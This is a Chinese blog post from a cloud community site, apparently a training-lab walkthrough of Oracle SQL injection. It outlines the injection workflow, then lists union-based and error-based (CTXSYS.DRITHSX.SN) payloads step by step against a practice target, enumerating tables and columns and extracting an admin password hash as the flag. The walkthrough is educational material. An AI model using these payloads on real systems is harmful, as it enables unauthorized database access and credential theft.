Oracle注入-报错/显错注入

举报
xcc-2022 发表于 2023/02/24 21:42:53 2023/02/24
【摘要】 知识梳理SQL注入原理:用户输入的数据可以被拼接到原有代码执行SQL注入基本流程:(1). 判断注入点,例:数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;字符型:单双引号、括号闭合,观察页面是否正常;使用sleep()观察页面是否存在延迟;(2)猜解字段数,例:and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数(3)查看显错点and ...

知识梳理

  1. SQL注入原理:用户输入的数据可以被拼接到原有代码执行
  2. SQL注入基本流程:
  • (1). 判断注入点,例:
    数字型:id=1 and 1=1 页面正常id=1 and 1=2页面不正常;
    字符型:单双引号、括号闭合,观察页面是否正常;
    使用sleep()观察页面是否存在延迟;
  • (2)猜解字段数,例:
    and 1=2 order by 1,2,3通过观察页面是否正常来确定字段数
  • (3)查看显错点
    and 1=2 union select 1,2,3 from dual通过发现显错位置可以知道在哪里输出想要的信息
  • (4)查询表名、字段名、字段内容
    -查询表名
    select from all_tables 查询出所有的表
    select from user_tables 查询出当前用户表
    -查询字段名
    selectfrom all_tab_columns 查询出所有的字段
    selectfrom user_tab_columns 查询出当前用户所有的字段
    -报错注入
    CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
    去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容。
    rownum=1 (限制查询返回的总行数为一条)
    to_nchar()函数是将字符数据从任何支持的字符集转换为 NCHAR 字符集

靶场演示(显错注入)

靶场地址

地址http://59.63.200.79:8015/?id=1

确认注入点

and 1=2页面错误,存在注入点


image


判断字段数

order by 4 页面正常


image

order by 5 页面报错


image
判断显错位置

and 1=1 union all select 1,2,3 页面报错,说明不是MYSQL数据库,尝试使用空值构建语句
and 1=1 union all select null,null,null --q页面正常



image

and 1=2 union all select null,null,null,null from dual页面正常说明,dual是Oracle特有的虚表,用于满足语法



image

构建查询语句确定字段字符类型
and 1=2 union all select 1,to_nchar('null'),null,null from dual


image
查询表名

构建查询语句
and 1=2 union all select 1,to_nchar(table_name),null,null from user_tables


image



image

image

image

公有三个表 NEWS/ADMIN/MD5

查询字段名

构建查询语句查询ADMIN表内信息
and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'


image

and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN' and column_name <> 'ID'



image

and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN' and column_name <> 'ID' and column_name <> 'UNAME'



image

and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN' and column_name <> 'ID' and column_name <> 'UNAME' and column_name <> 'UPASS'



image

得到三个字段 ID,UNAME,UPASS;

查询字段内容

构建查询语句查询NF的密码
and 1=2 union all select 1,to_nchar(UPASS),NULL,NULL from ADMIN where UNAME='NF'
得到flag:2a61f8bcfe7535eadcfa69eb4406ceb9


image

报错注入

构建报错注入语句

查询表名

and 1=CTXSYS.DRITHSX.SN(user,(select table_name from user_tables where rownum=1))


image
查询字段名

and 1=CTXSYS.DRITHSX.SN(user,(select column_name from user_tab_columns where rownum=1))


image
查询内容

and 1=CTXSYS.DRITHSX.SN(user,(select UPASS from ADMIN where uname='NF'))






【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。